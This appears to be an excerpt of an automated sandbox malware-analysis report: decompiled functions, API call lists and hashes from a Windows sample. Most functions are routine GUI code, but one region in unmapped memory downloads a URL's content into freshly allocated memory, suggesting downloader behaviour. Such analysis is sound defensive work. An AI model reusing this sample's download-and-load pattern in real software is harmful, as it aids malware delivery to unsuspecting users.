				struct HINSTANCE__* _t63;
				WNDCLASSEXA* _t68;
				struct HINSTANCE__* _t90;
				CHAR* _t97;
				CHAR* _t100;
				void* _t103;
				void* _t105;

				_t68 = __ebx;
				if( *((short*)(__ebx + 0x40)) != 0) {
					L15:
					if( *((intOrPtr*)(_t68 + 0x30)) != 0) {
						 *_a4 =  *((intOrPtr*)(_t68 + 0x34));
					}
					return  *(_t68 + 0x40);
				} else {
					EnterCriticalSection(0x170c68);
					if( *((short*)(__ebx + 0x40)) != 0) {
						L14:
						LeaveCriticalSection(0x170c68);
						goto L15;
					} else {
						_t97 =  *(__ebx + 0x30);
						_t90 =  *0x170c08;
						_v20 = _t90;
						if(_t97 == 0) {
							asm("sbb ecx, ecx");
							__ebx->hCursor = LoadCursorA( !( ~( *(__ebx + 0x3c))) & _t90,  *(__ebx + 0x38));
							goto L8;
						} else {
							_v12 = __ebx->lpszClassName;
							_v16 =  *((intOrPtr*)(__ebx + 8));
							E00106820( &_v64, 0, 0x2c);
							_t105 = _t103 + 0xc;
							_v68 = 0x30;
							_t63 = GetClassInfoExA(_t90, _t97,  &_v68);
							if(_t63 != 0 || GetClassInfoExA(_t63,  *(__ebx + 0x30),  &_v68) != 0) {
								memcpy(_t68,  &_v68, 0xc << 2);
								_t103 = _t105 + 0xc;
								_t90 = _v20;
								 *((intOrPtr*)(_t68 + 0x34)) =  *((intOrPtr*)(_t68 + 8));
								_t68->lpszClassName = _v12;
								 *((intOrPtr*)(_t68 + 8)) = _v16;
								L8:
								_t68->style = _t68->style & 0xffffbfff;
								_t68->hInstance = _t90;
								if(_t68->lpszClassName == 0) {
									_t100 = _t68 + 0x42;
									E000F4980(_t100, "ATL:%p", _t68);
									_t103 = _t103 + 8;
									_t68->lpszClassName = _t100;
								}
								_t54 = GetClassInfoExA(_t68->hInstance, memcpy( &_v116, _t68, 0xc << 2),  &_v116);
								 *(_t68 + 0x40) = _t54;
								if(_t54 == 0) {
									if( *(_t68 + 0x50) != 0) {
										_t68->hIcon = LoadImageA( *0x170c0c,  *(_t68 + 0x50) & 0x0000ffff, 1, 0x20, 0x20, 0);
										_t68->hIconSm = LoadImageA( *0x170c0c,  *(_t68 + 0x50) & 0x0000ffff, 1, 0x10, 0x10, 0);
									}
									 *(_t68 + 0x40) = RegisterClassExA(_t68);
								}
								goto L14;
							} else {
								LeaveCriticalSection(0x170c68);
								return 0;
							}
						}
					}
				}
			}

0x000f4f00
0x000f4f0d
0x000f506e
0x000f5072
0x000f507a
0x000f507a
0x000f5085
0x000f4f13
0x000f4f18
0x000f4f23
0x000f5063
0x000f5068
0x00000000
0x000f4f29
0x000f4f29
0x000f4f2c
0x000f4f32
0x000f4f37
0x000f4fbd
0x000f4fcb
0x00000000
0x000f4f39
0x000f4f47
0x000f4f4a
0x000f4f4d
0x000f4f52
0x000f4f61
0x000f4f68
0x000f4f6c
0x000f4f9f
0x000f4f9f
0x000f4fa7
0x000f4faa
0x000f4fad
0x000f4fb0
0x000f4fce
0x000f4fce
0x000f4fd9
0x000f4fdc
0x000f4fde
0x000f4fe9
0x000f4fee
0x000f4ff1
0x000f4ff1
0x000f500c
0x000f5012
0x000f5019
0x000f501f
0x000f5048
0x000f5055
0x000f5055
0x000f505f
0x000f505f
0x00000000
0x000f4f7d
0x000f4f82
0x000f4f8f
0x000f4f8f
0x000f4f6c
0x000f4f37
0x000f4f23

APIs

EnterCriticalSection.KERNEL32(00170C68), ref: 000F4F18
_memset.LIBCMT ref: 000F4F4D
GetClassInfoExA.USER32(000F0000,?,00000000), ref: 000F4F68
GetClassInfoExA.USER32(00000000,?,00000030), ref: 000F4F77
LeaveCriticalSection.KERNEL32(00170C68), ref: 000F4F82
LoadCursorA.USER32 ref: 000F4FC5
GetClassInfoExA.USER32(?,00000000,?), ref: 000F500C
LoadImageA.USER32 ref: 000F503A
LoadImageA.USER32 ref: 000F5053
RegisterClassExA.USER32 ref: 000F5059
LeaveCriticalSection.KERNEL32(00170C68), ref: 000F5068

Strings

ATL:%p, xrefs: 000F4FE2
0, xrefs: 000F4F61

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Class$CriticalInfoLoadSection$ImageLeave$CursorEnterRegister_memset
String ID: 0$ATL:%p
API String ID: 4152736066-2453800769
Opcode ID: d81ed8a8deec5d80809c924b94113919c9e26edd99e23e1aec15569c4d028cfe
Instruction ID: 6049002096093e35253e6bde6f19616a2c13097863bc760b1a96b78487948394
Opcode Fuzzy Hash: d81ed8a8deec5d80809c924b94113919c9e26edd99e23e1aec15569c4d028cfe
Instruction Fuzzy Hash: 10517075900218DBDB19CF54DCC4BAA77B8FF48710F108299EE049B685E7B5EC85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 000F9530 Relevance: 22.7, APIs: 15, Instructions: 151
memorythreadCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E000F9530(intOrPtr __ecx, void* __eflags) {
				void* _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v24;
				struct tagRECT _v76;
				void* _v108;
				void* _v112;
				struct HWND__* _v116;
				struct tagPSD _v120;
				intOrPtr _v136;
				struct tagRECT* _v140;
				long _v144;
				char _v148;
				void* _v152;
				char _v156;
				intOrPtr _v160;
				void* _v164;
				struct tagRECT* _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t53;
				signed int _t54;
				void* _t58;
				struct tagRECT* _t60;
				struct HWND__* _t62;
				signed int _t65;
				void* _t77;
				void* _t78;
				intOrPtr _t93;
				void* _t94;
				void* _t96;
				void** _t115;
				void* _t116;
				intOrPtr* _t120;
				void* _t122;
				signed int _t123;

				_push(0xffffffff);
				_push(E0010FB38);
				_push( *[fs:0x0]);
				_t53 =  *0x159060; // 0x1f9a9bdf
				_t54 = _t53 ^ _t123;
				_v20 = _t54;
				_push(_t54);
				 *[fs:0x0] =  &_v16;
				_t93 = __ecx;
				_v160 = __ecx;
				E000FB010( &_v156);
				_v156 = 0x112d90;
				_t58 = 0;
				_t120 = _t93 + 0x4bc;
				_v8 = 0;
				if( *_t120 != 0 &&  *((intOrPtr*)(_t120 + 4)) != 0) {
					_t87 =  *((intOrPtr*)(_t120 + 4));
					_t118 = ( *( *((intOrPtr*)(_t120 + 4)) + 0x26) & 0x0000ffff) + ( *(_t87 + 0x24) & 0x0000ffff);
					_t96 = GlobalAlloc(2, ( *( *((intOrPtr*)(_t120 + 4)) + 0x26) & 0x0000ffff) + ( *(_t87 + 0x24) & 0x0000ffff));
					_t130 = _t96;
					if(_t96 != 0) {
						E001096A0(GlobalLock(_t96),  *((intOrPtr*)(_t120 + 4)), _t118);
						GlobalUnlock(_t96);
					}
					_t58 = _t96;
					_t93 = _v160;
				}
				_t115 = _t93 + 0x4b8;
				_v112 = _t58;
				_v108 = E000FC710(_t115, _t130);
				_t60 = _t93 + 0x514;
				_v76.left =  *(_t93 + 0x514);
				_v168 = _t60;
				_v76.top =  *((intOrPtr*)(_t93 + 0x518));
				_v76.right = _t60->right;
				_v76.bottom = _t60->bottom;
				_t62 = GetActiveWindow();
				if(_v116 == 0) {
					_v116 = _t62;
				}
				_v148 =  &_v156;
				_v144 = GetCurrentThreadId();
				EnterCriticalSection(0x170c68);
				_t112 =  *0x170c80; // 0x0
				_v140 = _t112;
				 *0x170c80 =  &_v148;
				LeaveCriticalSection(0x170c68);
				_t65 = PageSetupDlgA( &_v120);
				asm("sbb eax, eax");
				_v152 = 0;
				if( ~_t65 + 2 == 1) {
					_t77 = _v112;
					_v164 = _t77;
					if(_t77 != 0) {
						E000FFE10(GlobalLock(_t77), _t120);
						GlobalUnlock(_v164);
						_t93 = _v160;
					}
					_t78 =  *_t115;
					if(_t78 != 0) {
						ClosePrinter(_t78);
						 *_t115 = 0;
					}
					E000FC5D0( *((intOrPtr*)(_t93 + 0x4c0)), _t115, _v108);
					_t112 = _v168;
					CopyRect(_v168,  &_v76);
				}
				GlobalFree(_v112);
				GlobalFree(_v108);
				_v8 = 1;
				_t71 = _v24;
				if(_v24 != 0) {
					E00105701(_t71);
				}
				_v8 = 0xffffffff;
				_t72 = _v136;
				if(_v136 != 0) {
					E00105701(_t72);
				}
				 *[fs:0x0] = _v16;
				_pop(_t116);
				_pop(_t122);
				_pop(_t94);
				return E001059E6(0, _t94, _v20 ^ _t123, _t112, _t116, _t122);
			}

0x000f9533
0x000f9535
0x000f9540
0x000f9547
0x000f954c
0x000f954e
0x000f9554
0x000f9558
0x000f9564
0x000f9567
0x000f956d
0x000f9572
0x000f957c
0x000f957e
0x000f9584
0x000f9589
0x000f9590
0x000f959b
0x000f95a6
0x000f95a8
0x000f95aa
0x000f95b9
0x000f95c2
0x000f95c2
0x000f95c8
0x000f95ca
0x000f95ca
0x000f95d0
0x000f95d8
0x000f95ec
0x000f95ef
0x000f95f5
0x000f95fb
0x000f9604
0x000f9607
0x000f960a
0x000f960d
0x000f9617
0x000f9619
0x000f9619
0x000f9622
0x000f9633
0x000f9639
0x000f963f
0x000f9650
0x000f9656
0x000f965b
0x000f9665
0x000f966d
0x000f9672
0x000f967f
0x000f9681
0x000f9684
0x000f968c
0x000f9698
0x000f96a4
0x000f96aa
0x000f96aa
0x000f96b0
0x000f96b4
0x000f96b7
0x000f96bd
0x000f96bd
0x000f96cd
0x000f96d2
0x000f96dd
0x000f96dd
0x000f96ed
0x000f96f3
0x000f96f5
0x000f96fc
0x000f9701
0x000f9704
0x000f9704
0x000f9709
0x000f9710
0x000f9718
0x000f971b
0x000f971b
0x000f9725
0x000f972d
0x000f972e
0x000f972f
0x000f973d

APIs

Part of subcall function 000FB010: _memset.LIBCMT ref: 000FB062
Part of subcall function 000FB010: GetCurrentProcess.KERNEL32(?,0000000D), ref: 000FB0BB
Part of subcall function 000FB010: FlushInstructionCache.KERNEL32(00000000), ref: 000FB0C2

GlobalAlloc.KERNEL32(00000002,?,?,1F9A9BDF,?,?,?), ref: 000F95A0
GlobalLock.KERNEL32 ref: 000F95AD
_memmove.LIBCMT ref: 000F95B9
GlobalUnlock.KERNEL32(00000000,?,?,?), ref: 000F95C2
GetActiveWindow.USER32 ref: 000F960D
GetCurrentThreadId.KERNEL32 ref: 000F9628
EnterCriticalSection.KERNEL32(00170C68,?,?,?), ref: 000F9639
LeaveCriticalSection.KERNEL32(00170C68,?,?,?), ref: 000F965B
PageSetupDlgA.COMDLG32(?,?,?,?), ref: 000F9665
GlobalLock.KERNEL32 ref: 000F968F
GlobalUnlock.KERNEL32(?,?,?,?,?), ref: 000F96A4
ClosePrinter.WINSPOOL.DRV(?,?,?,?), ref: 000F96B7
CopyRect.USER32 ref: 000F96DD
GlobalFree.KERNEL32 ref: 000F96ED
GlobalFree.KERNEL32 ref: 000F96F3

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Global$CriticalCurrentFreeLockSectionUnlock$ActiveAllocCacheCloseCopyEnterFlushInstructionLeavePagePrinter.ProcessRectSetupThreadWindow_memmove_memset
String ID:
API String ID: 3499382343-0
Opcode ID: adb4d583b2f1a272ad3910ebeb23eeaa4d47d8b515b5aa76c39746f1265835e0
Instruction ID: 065e72173e687df1cc8eaca1e70b2a5a42a0c9a82b91ce741ecb2f7860bb56de
Opcode Fuzzy Hash: adb4d583b2f1a272ad3910ebeb23eeaa4d47d8b515b5aa76c39746f1265835e0
Instruction Fuzzy Hash: 73512874E00319DFCB65DFA4DD89BAAB7B8FB08300F104569E909D7641DB74A980CF60

Uniqueness

Uniqueness Score: -1.00%

Function 025242B7 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 201networkmemoryfileCOMMON

Download Yara Rule

APIs

InternetQueryOptionA.WININET(04013B80,0000001F,?,00000004), ref: 02524339
InternetSetOptionA.WININET(04013B80,0000001F,?,00000004), ref: 0252435A
InternetOpenUrlA.WININET(04013B80,00000000,?,00000042,80000200,00000000), ref: 02524377
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 025243CF
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0252440F
InternetReadFile.WININET(00000000,?,00000000,00000000), ref: 0252445E
HttpQueryInfoA.WININET(00000000,0000001D,?,00000100,00000000), ref: 025244FC
lstrcmpi.KERNEL32(?,0400C43C), ref: 02524512
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0252458F
InternetCloseHandle.WININET(00000000), ref: 02524599
GetLastError.KERNEL32 ref: 025245A1

Strings

Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate, xrefs: 025242F9

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Internet$Query$HttpInfoOptionVirtual$AllocCloseErrorFileFreeHandleLastOpenReadlstrcmpi
String ID: Accept: */*Accept-Language: enAccept-Encoding: gzip, deflate
API String ID: 2564233093-1307439301
Opcode ID: a41bf3c3cabbdcd58d5f4c5568134322b601fe695568ced017fe9f7a371d6d63
Instruction ID: 6475b59f83e8dde8cb83632982fb8d4ffe0af84a0c203313986722909d0c8308
Opcode Fuzzy Hash: a41bf3c3cabbdcd58d5f4c5568134322b601fe695568ced017fe9f7a371d6d63
Instruction Fuzzy Hash: 9C911F71A04228DBEB25CF94CC94BEE77B9FB49300F108599E609A72C4DB759E88CF54

Uniqueness

Uniqueness Score: -1.00%

Function 000F66C0 Relevance: 21.2, APIs: 14, Instructions: 156
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E000F66C0(struct HENHMETAFILE__* __ecx, intOrPtr* __esi) {
				CHAR* _v8;
				char _v16;
				signed int _v20;
				struct tagRECT _v36;
				struct HENHMETAFILE__* _v40;
				int _v44;
				int _v48;
				int _v52;
				int _v56;
				struct HDC__* _v60;
				void* __ebx;
				void* __edi;
				signed int _t47;
				signed int _t48;
				intOrPtr _t50;
				intOrPtr _t54;
				struct HENHMETAFILE__* _t75;
				void* _t80;
				struct HDC__* _t82;
				intOrPtr _t103;
				void* _t106;
				struct HDC__* _t107;
				intOrPtr* _t108;
				signed int _t109;

				_t108 = __esi;
				_push(0xffffffff);
				_push(E0010F1B0);
				_push( *[fs:0x0]);
				_t47 =  *0x159060; // 0x1f9a9bdf
				_t48 = _t47 ^ _t109;
				_v20 = _t48;
				_push(_t48);
				 *[fs:0x0] =  &_v16;
				_t50 =  *((intOrPtr*)( *__esi));
				_t96 =  *((intOrPtr*)(_t50 + 0x18));
				_push(__ecx);
				_v40 = __ecx;
				if( *((intOrPtr*)( *((intOrPtr*)(_t50 + 0x18))))() == 0) {
					L13:
					 *[fs:0x0] = _v16;
					_pop(_t106);
					_pop(_t80);
					return E001059E6(_t51, _t80, _v20 ^ _t109, _t96, _t106, _t108);
				}
				 *((intOrPtr*)(__esi + 0x1c)) = __ecx;
				_push(__ecx);
				_push(0);
				_t54 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *__esi)) + 0x14))))();
				 *((intOrPtr*)(__esi + 0x10)) = _t54;
				_t113 = _t54;
				if(_t54 == 0) {
					 *((intOrPtr*)(__esi + 0x10)) =  *((intOrPtr*)(__esi + 0xc));
				}
				_t107 = E000FC830(_t113, _t108 + 4,  *((intOrPtr*)(_t108 + 0x10)));
				_v60 = _t107;
				_v8 = 0;
				_v56 = GetDeviceCaps(_t107, 0x6e);
				_v44 = GetDeviceCaps(_t107, 0x6f);
				_v52 = GetDeviceCaps(_t107, 0x58);
				_v48 = GetDeviceCaps(_t107, 0x5a);
				_v36.left = 0;
				_v36.top = 0;
				_v36.right = MulDiv(_v56, 0x9ec, _v52);
				_v36.bottom = MulDiv(_v44, 0x9ec, _v48);
				 *((intOrPtr*)(_t108 + 0x14)) = GetDeviceCaps(_t107, 0x70);
				 *((intOrPtr*)(_t108 + 0x18)) = GetDeviceCaps(_t107, 0x71);
				_t82 = CreateEnhMetaFileA(_t107, 0,  &_v36, 0);
				_v44 = _t82;
				_v8 = 1;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t108)) + 8))))(_v40, _t82);
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t108)) + 0xc))))(_v40, _t82);
				_t103 =  *((intOrPtr*)( *_t108));
				_t96 =  *((intOrPtr*)(_t103 + 0x10));
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x10))))(_v40, _t82);
				_v40 = 0;
				if(_t82 != 0) {
					_v40 = CloseEnhMetaFile(_t82);
					_t82 = 0;
				}
				_t75 =  *(_t108 + 8);
				if(_t75 != 0 && _t75 != _v40) {
					DeleteEnhMetaFile(_t75);
					 *(_t108 + 8) = 0;
				}
				_t51 = _v40;
				 *(_t108 + 8) = _v40;
				if(_t82 != 0) {
					_t51 = CloseEnhMetaFile(_t82);
					if(_t51 != 0) {
						_t51 = DeleteEnhMetaFile(_t51);
					}
				}
				if(_t107 != 0) {
					_t51 = DeleteDC(_t107);
				}
				goto L13;
			}

0x000f66c0
0x000f66c3
0x000f66c5
0x000f66d0
0x000f66d4
0x000f66d9
0x000f66db
0x000f66e0
0x000f66e4
0x000f66ee
0x000f66f0
0x000f66f3
0x000f66f4
0x000f66fb
0x000f683a
0x000f683d
0x000f6845
0x000f6846
0x000f6854
0x000f6854
0x000f6703
0x000f670b
0x000f670c
0x000f670e
0x000f6710
0x000f6713
0x000f6715
0x000f671a
0x000f671a
0x000f672a
0x000f672c
0x000f6731
0x000f6744
0x000f674c
0x000f6754
0x000f675c
0x000f6761
0x000f6764
0x000f677b
0x000f6790
0x000f6798
0x000f67a6
0x000f67af
0x000f67b1
0x000f67b7
0x000f67c4
0x000f67d2
0x000f67d6
0x000f67db
0x000f67e0
0x000f67e2
0x000f67eb
0x000f67f4
0x000f67f7
0x000f67f7
0x000f67f9
0x000f67fe
0x000f6806
0x000f680c
0x000f680c
0x000f6813
0x000f6816
0x000f681b
0x000f681e
0x000f6826
0x000f6829
0x000f6829
0x000f6826
0x000f6831
0x000f6834
0x000f6834
0x00000000

APIs

GetDeviceCaps.GDI32(00000000,0000006E), ref: 000F673F
GetDeviceCaps.GDI32(00000000,0000006F), ref: 000F6747
GetDeviceCaps.GDI32(00000000,00000058), ref: 000F674F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 000F6757
MulDiv.KERNEL32(?,000009EC,?), ref: 000F6771
MulDiv.KERNEL32(?,000009EC,?), ref: 000F6787
GetDeviceCaps.GDI32(00000000,00000070), ref: 000F6793
GetDeviceCaps.GDI32(00000000,00000071), ref: 000F679B
CreateEnhMetaFileA.GDI32(00000000,00000000,?,00000000), ref: 000F67A9
CloseEnhMetaFile.GDI32(00000000), ref: 000F67EE
DeleteEnhMetaFile.GDI32(00000000), ref: 000F6806
CloseEnhMetaFile.GDI32(00000000), ref: 000F681E
DeleteEnhMetaFile.GDI32(00000000), ref: 000F6829
DeleteDC.GDI32(00000000), ref: 000F6834

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CapsDevice$FileMeta$Delete$Close$Create
String ID:
API String ID: 3693993468-0
Opcode ID: d2445a5564fc988e41dd8f95519287fe656a1db5ea7d326cbde4270c9475cc4d
Instruction ID: f4dc17539870aef4f3e72cb07b40991dd989b54be117d23add07de9b688003d8
Opcode Fuzzy Hash: d2445a5564fc988e41dd8f95519287fe656a1db5ea7d326cbde4270c9475cc4d
Instruction Fuzzy Hash: EE510575A00608AFDB10DFA9C984FAAB7F8EF8C704F10851DE645A7690DBB5A941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 000FF4E0 Relevance: 19.7, APIs: 13, Instructions: 229
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FF4E0(void* __eax, void* __ecx, long* _a4) {
				char _v5;
				void* __edi;
				void* __esi;
				signed char _t69;
				signed int _t75;
				signed int _t77;
				signed int _t79;
				struct HWND__* _t80;
				struct HWND__* _t85;
				int _t88;
				signed char _t89;
				int _t98;
				void* _t102;
				signed char _t107;
				intOrPtr _t109;
				void* _t115;
				long* _t116;
				signed int _t121;
				signed int _t123;

				_t116 = _a4;
				_t102 = __eax;
				_t115 = __ecx;
				 *_t116 = 0;
				if(__eax != 0x1b) {
					if(__eax == 0xd || __eax == 0x26 || __eax == 0x28) {
						L43:
						if(( *(_t115 + 0x84) & 0x00000001) != 0 || GetFocus() !=  *(_t115 + 4) || IsWindow( *(_t115 + 0x5c)) == 0 || SendMessageA( *(_t115 + 4), 0x447, 0, 0) == 0xffffffff) {
							L51:
							if(_t102 == 0xd) {
								goto L52;
							}
						} else {
							if(_t102 == 0xd) {
								L52:
								if(( *(_t115 + 0x84) & 0x00000001) != 0) {
									PostMessageA( *(_t115 + 4), 0x448, 0xffffffff, 0);
									 *(_t115 + 0x8c) = 0xffffffff;
									E00101570(_t115, _t115);
								}
							} else {
								_t69 =  *(_t115 + 0x85);
								if(_t69 < 0) {
									 *(_t115 + 0x85) = _t69 & 0x0000007f;
								} else {
									PostMessageA( *(_t115 + 4), 0x100, 0x28, 0);
									 *(_t115 + 0x85) =  *(_t115 + 0x85) | 0x00000080;
								}
								goto L51;
							}
						}
						goto L54;
					} else {
						if(__eax == 0x25 || __eax == 0x27) {
							_t107 =  *(_t115 + 0x84);
							_t75 = ( *(_t115 + 0x85) & 0x000000ff) >> 0x00000006 & 0x00000001;
							_t121 = (_t75 ^ 0x00000001) + (_t75 ^ 0x00000001) | 0x00000025;
							_t77 = _t75 + _t75 | 0x00000025;
							if((_t107 & 0x00000001) == 0 || (_t107 & 0x00000010) != 0 || _t102 == _t121 && (_t107 & 0x00000008) != 0) {
								goto L54;
							} else {
								_v5 = 0;
								if(_t102 != _t77) {
									L23:
									if(_t102 == _t121) {
										_t88 = E00101030(_t115,  *(_t115 + 0x88));
										goto L25;
									}
								} else {
									_t109 =  *0x17199c; // 0x0
									if( *((intOrPtr*)(_t109 + 8)) != 1) {
										goto L23;
									} else {
										_t88 = E00100F60(_t115,  *(_t115 + 0x88));
										L25:
										 *(_t115 + 0x8c) = _t88;
										if(_t88 != 0xffffffff) {
											_v5 = 1;
										}
									}
								}
								_t79 =  *((intOrPtr*)(_t115 + 0xc)) - 1;
								if(_t79 >= 0) {
									_t80 =  *( *((intOrPtr*)(_t115 + 8)) + _t79 * 4);
								} else {
									_t80 = 0;
								}
								if(_v5 == 0) {
									goto L54;
								} else {
									PostMessageA(_t80, 0x100, 0x1b, 0);
									if(_t102 != _t121) {
										L39:
										if( *(_t115 + 0x8c) == 0xfffffffe) {
											 *(_t115 + 0x8c) = 0xffffffff;
											E00101120(_t115);
										}
										 *_a4 = 1;
										return 0;
									} else {
										_t123 =  *((intOrPtr*)(_t115 + 0xc)) - 1;
										if(_t123 < 0) {
											goto L39;
										} else {
											while(_t123 >= 0 && _t123 <  *((intOrPtr*)(_t115 + 0xc))) {
												_t85 =  *( *((intOrPtr*)(_t115 + 8)) + _t123 * 4);
												if(_t85 != 0) {
													PostMessageA(_t85, 0x100, 0x1b, 0);
												}
												_t123 = _t123 - 1;
												if(_t123 >= 0) {
													continue;
												} else {
													goto L39;
												}
												goto L55;
											}
											RaiseException(0xc000008c, 1, 0, 0);
											goto L43;
										}
									}
								}
							}
						} else {
							goto L54;
						}
					}
				} else {
					if( *((intOrPtr*)(__ecx + 0xc)) > 1) {
						L54:
						return 0;
					} else {
						_t89 =  *((intOrPtr*)(__ecx + 0x84));
						if((_t89 & 0x00000001) == 0 || (_t89 & 0x00000010) != 0) {
							if(GetFocus() !=  *(_t115 + 4) || IsWindow( *(_t115 + 0x5c)) == 0) {
								goto L54;
							} else {
								SendMessageA( *(_t115 + 4), 0x448, 0xffffffff, 0);
								E00101570(_t115, _t115);
								 *_t116 = 1;
								return 0;
							}
						} else {
							_t98 = SendMessageA( *(__ecx + 4), 0x447, 0, 0);
							if(_t98 == 0xffffffff) {
								_t98 =  *(_t115 + 0x88);
								if(_t98 == 0xffffffff) {
									_t98 = 0;
								}
							}
							SendMessageA( *(_t115 + 4), 0x448, _t98, 0);
							 *_t116 = 1;
							E00101540(_t115);
							 *(_t115 + 0x84) =  *(_t115 + 0x84) | 0x00000020;
							 *(_t115 + 0x85) =  *(_t115 + 0x85) & 0x0000007f;
							return 0;
						}
					}
				}
				L55:
			}

0x000ff4e8
0x000ff4eb
0x000ff4ee
0x000ff4f0
0x000ff4f9
0x000ff5c1
0x000ff704
0x000ff711
0x000ff773
0x000ff776
0x00000000
0x00000000
0x000ff744
0x000ff747
0x000ff778
0x000ff77f
0x000ff78e
0x000ff792
0x000ff79c
0x000ff79c
0x000ff749
0x000ff749
0x000ff751
0x000ff76d
0x000ff753
0x000ff760
0x000ff762
0x000ff762
0x00000000
0x000ff751
0x000ff747
0x00000000
0x000ff5d9
0x000ff5dc
0x000ff5ee
0x000ff5f7
0x000ff603
0x000ff606
0x000ff60c
0x00000000
0x000ff628
0x000ff628
0x000ff62e
0x000ff64a
0x000ff64c
0x000ff655
0x00000000
0x000ff655
0x000ff630
0x000ff630
0x000ff63a
0x00000000
0x000ff63c
0x000ff643
0x000ff65a
0x000ff65a
0x000ff663
0x000ff665
0x000ff665
0x000ff663
0x000ff63a
0x000ff66c
0x000ff66d
0x000ff676
0x000ff66f
0x000ff66f
0x000ff66f
0x000ff67d
0x00000000
0x000ff683
0x000ff68d
0x000ff695
0x000ff6c6
0x000ff6cd
0x000ff6d0
0x000ff6da
0x000ff6da
0x000ff6e2
0x000ff6f0
0x000ff697
0x000ff69a
0x000ff69b
0x00000000
0x000ff6a0
0x000ff6a0
0x000ff6ac
0x000ff6b1
0x000ff6bd
0x000ff6bd
0x000ff6c3
0x000ff6c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000ff6c4
0x000ff6fe
0x00000000
0x000ff6fe
0x000ff69b
0x000ff695
0x000ff67d
0x00000000
0x00000000
0x00000000
0x000ff5dc
0x000ff4ff
0x000ff503
0x000ff7a3
0x000ff7a9
0x000ff509
0x000ff509
0x000ff511
0x000ff57b
0x00000000
0x000ff593
0x000ff5a0
0x000ff5a8
0x000ff5ad
0x000ff5bb
0x000ff5bb
0x000ff517
0x000ff52a
0x000ff52f
0x000ff531
0x000ff53a
0x000ff53c
0x000ff53c
0x000ff53a
0x000ff54a
0x000ff54c
0x000ff554
0x000ff559
0x000ff560
0x000ff56f
0x000ff56f
0x000ff511
0x000ff503
0x00000000

APIs

SendMessageA.USER32(?,00000447,00000000,00000000), ref: 000FF52A
SendMessageA.USER32(?,00000448,00000000,00000000), ref: 000FF54A
GetFocus.USER32(?,?,?), ref: 000FF572
IsWindow.USER32(?), ref: 000FF585
SendMessageA.USER32(?,00000448,000000FF,00000000), ref: 000FF5A0
PostMessageA.USER32 ref: 000FF68D
PostMessageA.USER32 ref: 000FF6BD
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,?,?,?), ref: 000FF6FE
GetFocus.USER32 ref: 000FF713
IsWindow.USER32(?), ref: 000FF722
SendMessageA.USER32(?,00000447,00000000,00000000), ref: 000FF739
PostMessageA.USER32 ref: 000FF760
